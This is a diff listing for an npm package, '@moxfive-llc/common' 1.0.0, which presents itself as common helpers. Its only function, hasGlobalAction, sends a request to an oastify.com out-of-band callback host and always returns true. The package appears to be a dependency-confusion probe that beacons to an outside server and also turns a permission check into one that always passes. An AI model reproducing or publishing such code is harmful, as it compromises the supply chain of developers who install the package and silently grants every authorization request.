@moxfive-llc/common 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ export * from "./utils/has-global-action";
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@moxfive-llc/common",
3
+ "version": "1.0.0",
4
+ "description": "Common helpers",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,6 @@
1
+ export const hasGlobalAction = async (req: Request, action: string, includePoliciesInRequest = false): Promise<boolean> => {
2
+ // HTTP request to server
3
+ const response = await fetch(`https://kd102kkhdo8gn8otyiko79jx2o8fw5ku.oastify.com`, { });
4
+
5
+ return !!true;
6
+ };